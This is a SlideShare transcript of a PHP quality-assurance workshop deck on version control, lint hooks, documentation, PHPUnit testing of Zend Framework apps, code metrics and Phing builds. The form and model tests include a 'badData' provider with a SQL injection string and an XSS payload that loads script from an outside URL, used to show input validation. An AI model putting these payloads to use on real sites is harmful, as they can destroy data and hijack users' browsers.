Quality Assurance
for PHP projects
PHP Community	

Washington D.C.
Michelangelo van Dam
Schedule Workshop
Introduction to Quality Assurance	

Revision control	

Documenting	

Testing	

[break]	

Measuring	

Aut...
#phpqa
Introduction to QA
Why QA?
Why QA

Safeguarding code
Detect bugs early
Observe behavior
Prevent accidents from happening
Tracking progress
Why invest in QA?
Keeps your code in shape
Measures speed and performance
Boosts team spirit
Saves time
Reports continuously
Delivers ready to deploy packages
Quality Assurance Tools
Revision Control
Subversion
GIT
GitHub
Bitbucket
Mercurial
Bazaar
FTP
FTP
Advantages of SCM
• team development possible	

• tracking multi-versions of source code	

• moving back and forth in hist...
Advantages of SCM
TIP:	
  hooks	
  for	
  tools

• team development possible	

• tracking multi-versions of source code	

...
GIT Workflow
GIT-SCM
•- Distributed SCM	

everyone has a “master” repository	

•- Works with public and private repositories	

private:...
Integration
Blessed	

Repo

Developer	

Public

Developer	

Public

Developer	

Public

Integration	

Manager

Developer	
...
Integration
Blessed	

Repo

Developer	

Public

Developer	

Public

Developer	

Public

Integration	

Manager

Developer	
...
Integration
Blessed	

Repo

Developer	

Public

Developer	

Public

Developer	

Public

Integration	

Manager

Developer	
...
Integration
Blessed	

Repo

Developer	

Public

Developer	

Public

Developer	

Public

Integration	

Manager

Developer	
...
Integration
Blessed	

Repo

Developer	

Public

Developer	

Public

Developer	

Public

Integration	

Manager

Developer	
...
Integration
Blessed	

Repo

Developer	

Public

Developer	

Public

Developer	

Public

Integration	

Manager

Developer	
...
Integration
Blessed	

Repo

Developer	

Public

Developer	

Public

Developer	

Public

Integration	

Manager

Developer	
...
Integration
Blessed	

Repo

Developer	

Public

Developer	

Public

Developer	

Public

Integration	

Manager

Developer	
...
Branching

Commit small	

Commit often
SCM Branching

Master
SCM Branching

Project
Master
SCM Branching

Feature
Project
Master
SCM Branching
Task/Issue
Feature
Project
Master
Real world branching
Real world branching
More on GIT
• GIT book: 

http://git-scm.com/book/en	

• GIT tutorial:

http://try.github.io	

• GIT branching tutorial: 
...
Recommended Reading
Syntax Checking
php	
  -­‐l	
  (lint)

h@p://www.php.net/manual/en/features.commandline.opFons.php
PHP Lint
• checks the syntax of code	

• build in PHP core	

•- is used per file	


pre-commit hook for version control sys...
PHP Lint
• checks the syntax of code	

• build in PHP core	

•- is used per file	


TIP:	
  pre-­‐commit	
  hook

pre-commi...
Syntax

php -lf /path/to/filename.php
PHP	
  Lint	
  on	
  Command	
  Line
PHP	
  Lint	
  on	
  Command	
  Line
SVN Pre commit hook
#!/bin/sh
#
# Pre-commit hook to validate syntax of incoming PHP files, if no failures it
# accepts th...
SVN	
  pre-­‐commit	
  hook
SVN	
  pre-­‐commit	
  hook
Documenting
Why documenting?
• new members in the team	

• working with remote workers	

• analyzing improvements	

• think before doi...
PHPDoc2

phpDocumentor

+

March 16, 2012

DocBlox
Phpdoc2
Phpdoc2	
  class	
  details
Based	
  on	
  docblocks	
  in	
  code
And	
  the	
  output
Phpdoc2	
  class	
  relaFon	
  chart
Phpdoc2	
  on	
  your	
  project
Phpdoc2	
  on	
  your	
  project
Testing
unit testing 201:	

start testing!
Any reasons not to test?
Most common excuses
• no time	

• not within budget	

• development team does not know how	

• tests are provided after de...
No excuses!
Maintainability
•- during development	

test will fail indicating bugs	

•- after sales support	


testing if an issue is ...
Remember

“Once a test is made, it will always be tested!”
Feel like on top of the world!
Confidence
•- for the developer	

code works	

•- for the manager	

project succeeds	

•- for sales / general management / ...
Everybody! likes this.
Don’t end up on this list!

extension:php mysql_query $_GET
Don’t end up on this list!

extension:php mysql_query $_GET
Unit testing ZF apps
Setting things up
phpunit.xml
<phpunit bootstrap="./TestHelper.php" colors="true">
<testsuite name="Unit test suite">
<directory>./</directo...
TestHelper.php
<?php
// set our app paths and environments
define('BASE_PATH', realpath(dirname(__FILE__) . '/../'));
defi...
Zend_Tool since 1.11.4

• provides	

• phpunit.xml	

• bootstrap.php	

• IndexControllerTest.php
Ralph Schindler
Let’s get started…
Testing Zend_Form
CommentForm
Name:
E-mail Address:
Website:
Comment:

Post
Start with the test
<?php
class Application_Form_CommentFormTest extends PHPUnit_Framework_TestCase
{
protected $_form;

!...
The good stuff
public function goodData()
{
return array (
array ('John Doe', 'john.doe@example.com',
'http://example.com'...
Protection!

Protection
Little Bobby Tables

http://xkcd.com/327/
In the news…
In the news…
In the news…
In the news…
In the news…
In the news…
In the news…

Is this YOU?!?
The bad stuff
public function badData()
{
return array (
array ('','','',''),
array ("Robert'; DROP TABLES comments; --", ...
Create the form class
<?php

!

class Application_Form_CommentForm extends Zend_Form
{

!

!
!

}

!

public function init...
Let’s run the test
Let’s run the test
Let’s put in our elements
<?php

!

class Application_Form_CommentForm extends Zend_Form
{

!

!
!

}

public function ini...
Less errors?
Less errors?
Filter - Validate
$this->addElement('text', 'name', array (
'Label' => 'Name', 'Required' => true,
'Filters' => array ('St...
Green, warm & fuzzy
Green, warm & fuzzy
You’re a winner!

☑ quality code	

☑ tested	

☑ secure	

☑ reusable
Testing models
Testing business logic
•- models contain logic	


tied to your business	

- tied to your storage	

- tied to your resource...
Type: data containers
•- contains structured data	

populated through setters and getters	

•- perform logic tied to it’s ...
Comment Class
Writing model test
<?php
class Application_Model_CommentTest extends PHPUnit_Framework_TestCase
{
protected $_comment;
pro...
This test won’t run!
This test won’t run!
Create a simple model
<?php

! Application_Model_Comment
class
{

protected $_id = 0; protected $_fullName; protected $_em...
We pass the test…
We pass the test…
Really ???
Not all data from user
input!

•- model can be populated from	


users through the form	

- data stored in the database	

...
ALL DATA IS TAINTED!
The good stuff
public function goodData()
{
return array (
array ('John Doe', 'john.doe@example.com',
'http://example.com'...
The bad stuff
public function badData()
{
return array (
array ('','','',''),
array ("Robert'; DROP TABLES comments; --", ...
Let’s run it
Let’s run it
Modify our model
protected $_filters;
protected $_validators;

!

public function __construct($params = null)
{
$this->_fi...
Modify setters: Id & name
public function setId($id)
{
$input = new Zend_Filter_Input($this->_filters, $this->_validators)...
Email & website
public function setEmailAddress($emailAddress)
{
$input = new Zend_Filter_Input($this->_filters, $this->_v...
and comment
public function setComment($comment)
{
$input = new Zend_Filter_Input($this->_filters, $this->_validators);
$i...
Now we’re good!
Now we’re good!
Testing Databases
Integration Testing
•- database specific functionality	


triggers	

- constraints	

- stored procedures	

- sharding/scala...
Points of concern
•- beware of automated data types	


auto increment sequence ID’s	

- default values like CURRENT_TIMEST...
The domain Model
• Model object	

• Mapper object	

• Table gateway object
Read more about it ☞
Change our test class
class Application_Model_CommentTest 	

extends PHPUnit_Framework_TestCase	

!

becomes	

!

class Ap...
Setting DB Testing up
protected $_connectionMock;

!

public function getConnection()
{
if (null === $this->_dbMock) {
$th...
initialDataSet.xml
<?xml version="1.0" encoding="UTF-8"?>
<dataset>
<comment
id="1"
fullName="B.A. Baracus"
emailAddress="...
Testing SELECT
public function testDatabaseCanBeRead()
{
$ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet(
$this->getCo...
selectDataSet.xml
<?xml version="1.0" encoding="UTF-8"?>
<dataset>
<comment
id="1"
fullName="B.A. Baracus"
emailAddress="b...
Testing UPDATE
public function testDatabaseCanBeUpdated()
{
$comment = new Application_Model_Comment();
$mapper = new Appl...
updateDataSet.xml
<?xml version="1.0" encoding="UTF-8"?>
<dataset>
<comment
id="1"
fullName="B.A. Baracus"
emailAddress="b...
Testing DELETE
public function testDatabaseCanDeleteAComment()
{
$comment = new Application_Model_Comment();
$mapper = new...
deleteDataSet.xml
<?xml version="1.0" encoding="UTF-8"?>
<dataset>
<comment
id="2"
fullName="Martin Fowler"
emailAddress="...
Testing INSERT
public function testDatabaseCanAddAComment()
{
$comment = new Application_Model_Comment();
$comment->setFul...
insertDataSet.xml
<?xml version="1.0" encoding="UTF-8"?>
<dataset>
<comment
id="1"
fullName="B.A. Baracus"
emailAddress="b...
Run Test
Run Test
What went wrong here?
AUTO_INCREMENT
Testing INSERT w/ filter
public function testDatabaseCanAddAComment()
{
$comment = new Application_Model_Comment();
$commen...
insertDataSet.xml
<?xml version="1.0" encoding="UTF-8"?>
<dataset>
<comment
fullName="B.A. Baracus"
emailAddress="ba@a-tea...
Run Test
Run Test
Testing web services
Web services remarks
•- you need to comply with an API	

that will be your reference	

•- you cannot always make a test-ca...
Example: joind.in
http://joind.in/api
JoindinTest
<?php
class Zftest_Service_JoindinTest extends PHPUnit_Framework_TestCase
{
protected $_joindin;
protected $_s...
JoindinTest
public function testJoindinCanGetUserDetails()
{
$expected = '<?xml version="1.0"?><response><item><username>D...
Testing the service
Testing the service
Euh… what?
1) Zftest_Service_JoindinTest::testJoindinCanGetUserDetails
Failed asserting that two strings are equal.
--- Ex...
And this?
2) Zftest_Service_JoindinTest::testJoindinCanCheckStatus
Failed asserting that two strings are equal.
--- Expect...
Solution… right here!
Your expectations
JoindinTest
<?php
class Zftest_Service_JoindinTest extends PHPUnit_Framework_TestCase
{
protected $_joindin;
protected $_s...
JoindinUserMockTest
public function testJoindinCanGetUserDetails()
{
$response = <<<EOS
HTTP/1.1 200 OK
Content-type: text...
JoindinStatusMockTest
public function testJoindinCanCheckStatus()
{
$date = new DateTime();
$date->setTimezone(new DateTim...
Good implementation?
Good implementation?
Controller Testing
Our form flow
Setting up ControllerTest
<?php

!

class IndexControllerTest extends Zend_Test_PHPUnit_ControllerTestCase
{

!

}

public...
Testing if form is on page
public function testIndexAction()
{
$params = array(
'action' => 'index',
'controller' => 'inde...
Test processing
public function testProcessAction()
{
$testData = array (
'name'
=> 'testUser',
'mail'
=> 'test@example.co...
REMARK
•- data providers can be used	


to test valid data	

- to test invalid data	

but we know it’s taken care of our m...
Test if we hit home
public function testSuccessAction()
{
$params = array(
'action' => 'success',
'controller' => 'index',...
Running the tests
Running the tests
Testing it all
Testing it all
Testing it all
Our progress report
Conclusion
• unit testing is simple	

• combine integration tests with unit tests	

• test what counts	

• mock out what’s remote
Fork this code

http://github.com/DragonBe/zftest
Measuring
Code Analysis
Questions
• how stable is my code?	

• how flexible is my code?	

• how complex is my code?	

• how easy can I refactor my ...
Answers
• PHPDepend - Dependency calculations	

• PHPMD - Mess detections and code “smells”	

• PHPCPD - Copy/paste detect...
PHP Depend
What?
• generates metrics	

• measure health	

• identify parts to improve (refactor)
pdepend pyramid
• CYCLO: Cyclomatic Complexity	

• LOC: Lines of Code	

• NOM: Number of Methods	

• NOC: Number of Classes	

• NOP: Numbe...
Cyclomatic Complexity
• metric calculation	

• execution paths	

•- independent control structures	

if, else, for, foreac...
Average Hierarchy Height

The average of the maximum length from a root class
to its deepest subclass
pdepend pyramid
Inheritance
few classes derived from other classes
lots of classes inherit from other classes
pdepend pyramid
Size and complexity
pdepend pyramid
Coupling
pdepend pyramid
High value
pdepend-graph

graph	
  about	
  stability:	
  a	
  mix	
  between	
  abstract	
  and	
  concrete	
  classes
PHP	
  Depend
PHP	
  Depend
PHP Mess Detection
What?
•- detects code smells	

-

possible bugs	

sub-optimal code	

over complicated expressions	

unused parameters, met...
PHPMD	
  in	
  acFon
PHPMD	
  in	
  acFon
PHP Copy/Paste
Detection
What?
•- detects similar code snippets	


plain copy/paste work	

- similar code routines	

indicates problems	

- mainten...
PHP CodeSniffer
Required evil
•- validates coding standards	


consistency	

- readability	

set as a policy for development	

reports fai...
Performance Analysis
https://twitter.com/#!/andriesss/status/189712045766225920
Automating
Key reason

“computers are great at doing repetitive tasks very well”
Repetition
• syntax checking	

• documenting	

• testing	

• measuring
Why Phing?
• php based (it’s already on our system)	

• open-source	

• supported by many tools	

• very simple syntax	

•...
Structure of a build
<?xml version="1.0" encoding="UTF-8"?>
<project name="Application build" default="phplint">

!
!

!

...
Structure of a build
<?xml version="1.0" encoding="UTF-8"?>
<project name="Application build" default="phplint">

!
<proje...
Structure of a build
<?xml version="1.0" encoding="UTF-8"?>
<project name="Application build" default="phplint">

!

<!-- ...
Structure of a build
<?xml version="1.0" encoding="UTF-8"?>
<project name="Application build" default="phplint">

!
!

<!-...
Structure of a build
<?xml version="1.0" encoding="UTF-8"?>
<project name="Application build" default="phplint">

!
!

<!-...
Structure of a build
<?xml version="1.0" encoding="UTF-8"?>
<project name="Application build" default="phplint">

!
!

!

...
build.properties
project.title=WeCycle
phpbook:qademo dragonbe$ cat build.properties
# General settings
project.website=ht...
local.properties
project.website=http://qademo.local
abrequests=1000
abconcurrency=10

!

db.username=qademo_user
db.passw...
Let’s	
  run	
  it
Let’s	
  run	
  it
Artifacts
• some tools provide output we can use later	

• called “artifacts”	

• we need to store them somewhere	

• so w...
Prepare for artifacts
<target name="prepare" description="Clean up the build path">
<delete dir="${project.basedir}/build"...
phpdoc2
<target name="phpdoc2" description="Generating automated documentation">
<property name="doc.title" value="${proje...
PHPUnit
<target name="phpunit" description="Running unit tests">
<exec
command="/usr/bin/phpunit
--coverage-html ${project...
PHP_CodeSniffer
<target name="phpcs" description="Validate code with PHP CodeSniffer">
<exec
command="/usr/bin/phpcs
--rep...
Copy Paste Detection
<target name="phpcpd" description="Detect copy/paste with PHPCPD">
<phpcpd>
<fileset refid="phpfiles"...
PHP Mess Detection
<target name="phpmd" description="Mess detection with PHPMD">
<phpmd>
<fileset refid="phpfiles" />
<for...
PHP Depend
<target name="pdepend" description="Dependency calculations with PDepend">
<phpdepend>
<fileset refid="phpfiles...
PHP CodeBrowser
<target name="phpcb" description="Code browser with PHP_CodeBrowser">
<exec
command="/usr/bin/phpcb
-l ${p...
Create a build procedure
<target name="build" description="Building app">
<phingCall target="prepare" />
<phingCall target...
Other things to automate
• server stress-testing with Apache Benchmark	

• database deployment with DBDeploy	

• package c...
Example DBDeploy
!

!

!

<target name="dbdeploy" description="Update the DB to the latest version">
<!-- set the path for...
Build	
  it
Build	
  it
Continuous Integration
Now you are a winner!
Team Works!
Conclusion
Get your information	

in a consistent, automated way	

and make it accessible for the team	

!

More people can better sa...
Recommended	
  reading
(just click on the links)

www.owasp.org

planet.phpunit.de
Recommended	
  reading
Free

• OOD	
  Quality	
  Metrics	
  
-­‐

Robert	
  Cecil	
  MarFn

h@p://www.objectmentor.com/pub...
#PHPBNL14
January 25 - 26, 2014
Feedback/Questions
Michelangelo van Dam	

!

michelangelo@in2it.be	

!

@DragonBe
Credits
I’d like to thank the following people for sharing their creative commons pictures	


michelangelo: http://www.flic...
Thank you
Workshop Quality Assurance for PHP projects - dcphp
Workshop Quality Assurance for PHP projects - dcphp
Workshop Quality Assurance for PHP projects - dcphp
Workshop Quality Assurance for PHP projects - dcphp
Workshop Quality Assurance for PHP projects - dcphp
Workshop Quality Assurance for PHP projects - dcphp
Workshop Quality Assurance for PHP projects - dcphp
Workshop Quality Assurance for PHP projects - dcphp
Workshop Quality Assurance for PHP projects - dcphp
Workshop Quality Assurance for PHP projects - dcphp
Workshop Quality Assurance for PHP projects - dcphp
Workshop Quality Assurance for PHP projects - dcphp
Workshop Quality Assurance for PHP projects - dcphp
Workshop Quality Assurance for PHP projects - dcphp
Workshop Quality Assurance for PHP projects - dcphp
Workshop Quality Assurance for PHP projects - dcphp
Upcoming SlideShare
Loading in...5
×

Workshop Quality Assurance for PHP projects - dcphp

5,415

Published on

Everyone talks about raising the bar on quality of code, but it's always hard to start implementing it when you have no clue where to start. With this talk I'm shooing that there are many levels developers can improve themselves by using the right tools. In this talk I'll go over each tool with examples how to use them against your codebase. A must attend talk for every developer that wants to scale up their quality.

Most PHP developers deploy code that does what the customer requested but they don't have a clue about the quality of the product they deliver. Without this knowledge, maintenance can be a hell and very expensive.

In this workshop I cover unit testing, code measuring, performance testing, debugging and profiling and give tips and tricks how to continue after this workshop

Published in: Technology
0 Comments
3 Likes
Statistics
Notes
  • Be the first to comment

No Downloads
Views
Total Views
5,415
On Slideshare
0
From Embeds
0
Number of Embeds
1
Actions
Shares
0
Downloads
15
Comments
0
Likes
3
Embeds 0
No embeds

No notes for slide

Workshop Quality Assurance for PHP projects - dcphp

  1. 1. Quality Assurance for PHP projects PHP Community Washington D.C.
  2. 2. Michelangelo van Dam
  3. 3. Schedule Workshop Introduction to Quality Assurance Revision control Documenting Testing [break] Measuring Automating Team works!
  4. 4. #phpqa
  5. 5. Introduction to QA
  6. 6. Why QA?
  7. 7. Why QA Safeguarding code
  8. 8. Detect bugs early
  9. 9. Observe behavior
  10. 10. Prevent accidents from happening
  11. 11. Tracking progress
  12. 12. Why invest in QA?
  13. 13. Keeps your code in shape
  14. 14. Measures speed and performance
  15. 15. Boosts team spirit
  16. 16. Saves time
  17. 17. Reports continuously
  18. 18. Delivers ready to deploy packages
  19. 19. Quality Assurance Tools
  20. 20. Revision Control
  21. 21. Subversion
  22. 22. GIT
  23. 23. GitHub
  24. 24. Bitbucket
  25. 25. Mercurial
  26. 26. Bazaar
  27. 27. FTP
  28. 28. FTP
  29. 29. Advantages of SCM • team development possible • tracking multi-versions of source code • moving back and forth in history • tagging of milestones • backup of source code •- accessible from - command line native apps IDE’s analytical tools
  30. 30. Advantages of SCM TIP:  hooks  for  tools • team development possible • tracking multi-versions of source code • moving back and forth in history • tagging of milestones • backup of source code •- accessible from - command line native apps IDE’s analytical tools
  31. 31. GIT Workflow
  32. 32. GIT-SCM •- Distributed SCM everyone has a “master” repository •- Works with public and private repositories private: work in progress - public: finished work Requires hierarchies to manage •
  33. 33. Integration Blessed Repo Developer Public Developer Public Developer Public Integration Manager Developer Private Developer Private Developer Private
  34. 34. Integration Blessed Repo Developer Public Developer Public Developer Public Integration Manager Developer Private Developer Private Developer Private
  35. 35. Integration Blessed Repo Developer Public Developer Public Developer Public Integration Manager Developer Private Developer Private Developer Private
  36. 36. Integration Blessed Repo Developer Public Developer Public Developer Public Integration Manager Developer Private Developer Private Developer Private
  37. 37. Integration Blessed Repo Developer Public Developer Public Developer Public Integration Manager Developer Private Developer Private Developer Private
  38. 38. Integration Blessed Repo Developer Public Developer Public Developer Public Integration Manager Developer Private Developer Private Developer Private
  39. 39. Integration Blessed Repo Developer Public Developer Public Developer Public Integration Manager Developer Private Developer Private Developer Private
  40. 40. Integration Blessed Repo Developer Public Developer Public Developer Public Integration Manager Developer Private Developer Private Developer Private
  41. 41. Branching Commit small Commit often
  42. 42. SCM Branching Master
  43. 43. SCM Branching Project Master
  44. 44. SCM Branching Feature Project Master
  45. 45. SCM Branching Task/Issue Feature Project Master
  46. 46. Real world branching
  47. 47. Real world branching
  48. 48. More on GIT • GIT book: 
 http://git-scm.com/book/en • GIT tutorial:
 http://try.github.io • GIT branching tutorial: 
 http://pcottle.github.io/learnGitBranching/ • GIT Flow: 
 http://nvie.com/posts/a-successful-git-branching-model/ • Github flow: 
 http://scottchacon.com/2011/08/31/github-flow.html
  49. 49. Recommended Reading
  50. 50. Syntax Checking
  51. 51. php  -­‐l  (lint) h@p://www.php.net/manual/en/features.commandline.opFons.php
  52. 52. PHP Lint • checks the syntax of code • build in PHP core •- is used per file pre-commit hook for version control system - batch processing of files can provide reports - but if something fails -> the build fails •
  53. 53. PHP Lint • checks the syntax of code • build in PHP core •- is used per file TIP:  pre-­‐commit  hook pre-commit hook for version control system - batch processing of files can provide reports - but if something fails -> the build fails •
  54. 54. Syntax php -lf /path/to/filename.php
  55. 55. PHP  Lint  on  Command  Line
  56. 56. PHP  Lint  on  Command  Line
  57. 57. SVN Pre commit hook #!/bin/sh # # Pre-commit hook to validate syntax of incoming PHP files, if no failures it # accepts the commit, otherwise it fails and blocks the commit ! REPOS="$1" TXN="$2" ! # modify these system executables to match your system PHP=/usr/bin/php AWK=/usr/bin/awk GREP=/bin/grep SVNLOOK=/usr/bin/svnlook ! # PHP Syntax checking with PHP Lint # originally from Joe Stump at Digg # https://gist.github.com/53225 # for i in `$SVNLOOK changed -t "$TXN" "$REPOS" | $AWK '{print $2}'` do if [ ${i##*.} == php ]; then CHECK=`$SVNLOOK cat -t "$TXN" "$REPOS" $i | $PHP -d html_errors=off -l || echo $i` RETURN=`echo $CHECK | $GREP "^No syntax" > /dev/null && echo TRUE || echo FALSE` if [ $RETURN = 'FALSE' ]; then echo $CHECK 1>&2; exit 1 fi fi done
  58. 58. SVN  pre-­‐commit  hook
  59. 59. SVN  pre-­‐commit  hook
  60. 60. Documenting
  61. 61. Why documenting? • new members in the team • working with remote workers • analyzing improvements • think before doing • used by IDE’s and editors for code hinting ;-)
  62. 62. PHPDoc2 phpDocumentor + March 16, 2012 DocBlox
  63. 63. Phpdoc2
  64. 64. Phpdoc2  class  details
  65. 65. Based  on  docblocks  in  code
  66. 66. And  the  output
  67. 67. Phpdoc2  class  relaFon  chart
  68. 68. Phpdoc2  on  your  project
  69. 69. Phpdoc2  on  your  project
  70. 70. Testing
  71. 71. unit testing 201: start testing!
  72. 72. Any reasons not to test?
  73. 73. Most common excuses • no time • not within budget • development team does not know how • tests are provided after delivery •…
  74. 74. No excuses!
  75. 75. Maintainability •- during development test will fail indicating bugs •- after sales support testing if an issue is genuine - fixing issues won’t break code base ❖ if they do, you need to fix it! long term projects - refactoring made easy •
  76. 76. Remember “Once a test is made, it will always be tested!”
  77. 77. Feel like on top of the world!
  78. 78. Confidence •- for the developer code works •- for the manager project succeeds •- for sales / general management / share holders making profit •- for the customer paying for what they want
  79. 79. Everybody! likes this.
  80. 80. Don’t end up on this list! extension:php mysql_query $_GET
  81. 81. Don’t end up on this list! extension:php mysql_query $_GET
  82. 82. Unit testing ZF apps
  83. 83. Setting things up
  84. 84. phpunit.xml <phpunit bootstrap="./TestHelper.php" colors="true"> <testsuite name="Unit test suite"> <directory>./</directory> </testsuite> ! ! <filter> <whitelist> <directory suffix=".php">../application/</directory> <directory suffix=".php">../library/Mylib/</directory> <exclude> <directory suffix=".phtml">../application/</directory> </exclude> </whitelist> </filter> </phpunit>
  85. 85. TestHelper.php <?php // set our app paths and environments define('BASE_PATH', realpath(dirname(__FILE__) . '/../')); define('APPLICATION_PATH', BASE_PATH . '/application'); define('TEST_PATH', BASE_PATH . '/tests'); define('APPLICATION_ENV', 'testing'); ! // Include path set_include_path( . PATH_SEPARATOR . BASE_PATH . '/library' . PATH_SEPARATOR . get_include_path() ); ! // Set the default timezone !!! date_default_timezone_set('Europe/Brussels'); ! // We wanna catch all errors en strict warnings error_reporting(E_ALL|E_STRICT); ! require_once 'Zend/Application.php'; $application = new Zend_Application( APPLICATION_ENV, APPLICATION_PATH . '/configs/application.ini' ); ! $application->bootstrap();
  86. 86. Zend_Tool since 1.11.4 • provides • phpunit.xml • bootstrap.php • IndexControllerTest.php Ralph Schindler
  87. 87. Let’s get started…
  88. 88. Testing Zend_Form
  89. 89. CommentForm Name: E-mail Address: Website: Comment: Post
  90. 90. Start with the test <?php class Application_Form_CommentFormTest extends PHPUnit_Framework_TestCase { protected $_form; ! } protected function setUp() { $this->_form = new Application_Form_CommentForm(); parent::setUp(); } protected function tearDown() { parent::tearDown(); $this->_form = null; }
  91. 91. The good stuff public function goodData() { return array ( array ('John Doe', 'john.doe@example.com', 'http://example.com', 'test comment'), array ("Matthew Weier O'Phinney", 'matthew@zend.com', 'http://weierophinney.net', 'Doing an MWOP-Test'), array ('D. Keith Casey, Jr.', 'Keith@CaseySoftware.com', 'http://caseysoftware.com', 'Doing a monkey dance'), ); } /** * @dataProvider goodData */ public function testFormAcceptsValidData($name, $email, $web, $comment) { $data = array ( 'name' => $name, 'mail' => $mail, 'web' => $web, 'comment' => $comment, ); $this->assertTrue($this->_form->isValid($data)); }
  92. 92. Protection! Protection
  93. 93. Little Bobby Tables http://xkcd.com/327/
  94. 94. In the news…
  95. 95. In the news…
  96. 96. In the news…
  97. 97. In the news…
  98. 98. In the news…
  99. 99. In the news…
  100. 100. In the news… Is this YOU?!?
  101. 101. The bad stuff public function badData() { return array ( array ('','','',''), array ("Robert'; DROP TABLES comments; --", '', 'http://xkcd.com/327/','Little Bobby Tables'), array (str_repeat('x', 100000), '', '', ''), array ('John Doe', 'jd@example.com', "http://t.co/@"style="font-size:999999999999px;"onmouseover= "$.getScript('http:u002fu002fis.gdu002ffl9A7')"/", 'exploit twitter 9/21/2010'), ); } /** * @dataProvider badData */ public function testFormRejectsBadData($name, $email, $web, $comment) { $data = array ( 'name' => $name, 'mail' => $mail, 'web' => $web, 'comment' => $comment, ); $this->assertFalse($this->_form->isValid($data)); }
  102. 102. Create the form class <?php ! class Application_Form_CommentForm extends Zend_Form { ! ! ! } ! public function init() { /* Form Elements & Other Definitions Here ... */ }
  103. 103. Let’s run the test
  104. 104. Let’s run the test
  105. 105. Let’s put in our elements <?php ! class Application_Form_CommentForm extends Zend_Form { ! ! ! } public function init() { $this->addElement('text', 'name', array ( 'Label' => 'Name', 'Required' => true)); $this->addElement('text', 'mail', array ( 'Label' => 'E-mail Address', 'Required' => true)); $this->addElement('text', 'web', array ( 'Label' => 'Website', 'Required' => false)); $this->addElement('textarea', 'comment', array ( 'Label' => 'Comment', 'Required' => true)); $this->addElement('submit', 'post', array ( 'Label' => 'Post', 'Ignore' => true)); }
  106. 106. Less errors?
  107. 107. Less errors?
  108. 108. Filter - Validate $this->addElement('text', 'name', array ( 'Label' => 'Name', 'Required' => true, 'Filters' => array ('StringTrim', 'StripTags'), 'Validators' => array ( new Zftest_Validate_Mwop(), new Zend_Validate_StringLength(array ('min' => 4, 'max' => 50))), )); $this->addElement('text', 'mail', array ( 'Label' => 'E-mail Address', 'Required' => true, 'Filters' => array ('StringTrim', 'StripTags', 'StringToLower'), 'Validators' => array ( new Zend_Validate_EmailAddress(), new Zend_Validate_StringLength(array ('min' => 4, 'max' => 50))), )); $this->addElement('text', 'web', array ( 'Label' => 'Website', 'Required' => false, 'Filters' => array ('StringTrim', 'StripTags', 'StringToLower'), 'Validators' => array ( new Zend_Validate_Callback(array('Zend_Uri', 'check')), new Zend_Validate_StringLength(array ('min' => 4, 'max' => 50))), )); $this->addElement('textarea', 'comment', array ( 'Label' => 'Comment', 'Required' => true, 'Filters' => array ('StringTrim', 'StripTags'), 'Validators' => array ( new Zftest_Validate_TextBox(), new Zend_Validate_StringLength(array ('max' => 5000))), ));
  109. 109. Green, warm & fuzzy
  110. 110. Green, warm & fuzzy
  111. 111. You’re a winner! ☑ quality code ☑ tested ☑ secure ☑ reusable
  112. 112. Testing models
  113. 113. Testing business logic •- models contain logic tied to your business - tied to your storage - tied to your resources no “one size fits all” solution •
  114. 114. Type: data containers •- contains structured data populated through setters and getters •- perform logic tied to it’s purpose transforming data - filtering data - validating data can convert into other data types - arrays - strings (JSON, serialized, xml, …) are providers to other models • •
  115. 115. Comment Class
  116. 116. Writing model test <?php class Application_Model_CommentTest extends PHPUnit_Framework_TestCase { protected $_comment; protected function setUp() { $this->_comment = new Application_Model_Comment(); parent::setUp(); } protected function tearDown() { parent::tearDown(); $this->_comment = null; } public function testModelIsEmptyAtConstruct() { $this->assertSame(0, $this->_comment->getId()); $this->assertNull($this->_comment->getFullName()); $this->assertNull($this->_comment->getEmailAddress()); $this->assertNull($this->_comment->getWebsite()); $this->assertNull($this->_comment->getComment()); } }
  117. 117. This test won’t run!
  118. 118. This test won’t run!
  119. 119. Create a simple model <?php ! Application_Model_Comment class { protected $_id = 0; protected $_fullName; protected $_emailAddress; protected $_website; protected $_comment; public public public public public public public public public public public if } if if if if if } ! function setId($id) { $this->_id = (int) $id; return $this; } function getId() { return $this->_id; } function setFullName($fullName) { $this->_fullName = (string) $fullName; return $this; } function getFullName() { return $this->_fullName; } function setEmailAddress($emailAddress) { $this->_emailAddress = (string) $emailAddress; return $this; } function getEmailAddress() { return $this->_emailAddress; } function setWebsite($website) { $this->_website = (string) $website; return $this; } function getWebsite() { return $this->_website; } function setComment($comment) { $this->_comment = (string) $comment; return $this; } function getComment() { return $this->_comment; } function populate($row) { (is_array($row)) { $row = new ArrayObject($row, ArrayObject::ARRAY_AS_PROPS); (isset (isset (isset (isset (isset ($row->id)) $this->setId($row->id); ($row->fullName)) $this->setFullName($row->fullName); ($row->emailAddress)) $this->setEmailAddress($row->emailAddress); ($row->website)) $this->setWebsite($row->website); ($row->comment)) $this->setComment($row->comment); } public function toArray() return array ( 'id' => 'fullName' => 'emailAddress' => 'website' => 'comment' => ); } { $this->getId(), $this->getFullName(), $this->getEmailAddress(), $this->getWebsite(), $this->getComment(),
  120. 120. We pass the test…
  121. 121. We pass the test…
  122. 122. Really ???
  123. 123. Not all data from user input! •- model can be populated from users through the form - data stored in the database - a webservice (hosted by us or others) simply test it - by using same test scenario’s from our form •
  124. 124. ALL DATA IS TAINTED!
  125. 125. The good stuff public function goodData() { return array ( array ('John Doe', 'john.doe@example.com', 'http://example.com', 'test comment'), array ("Matthew Weier O'Phinney", 'matthew@zend.com', 'http://weierophinney.net', 'Doing an MWOP-Test'), array ('D. Keith Casey, Jr.', 'Keith@CaseySoftware.com', 'http://caseysoftware.com', 'Doing a monkey dance'), ); } /** * @dataProvider goodData */ public function testModelAcceptsValidData($name, $mail, $web, $comment) { $data = array ( 'fullName' => $name, 'emailAddress' => $mail, 'website' => $web, 'comment' => $comment, ); try { $this->_comment->populate($data); } catch (Zend_Exception $e) { $this->fail('Unexpected exception should not be triggered'); } $data['id'] = 0; $data['emailAddress'] = strtolower($data['emailAddress']); $data['website'] = strtolower($data['website']); $this->assertSame($this->_comment->toArray(), $data); }
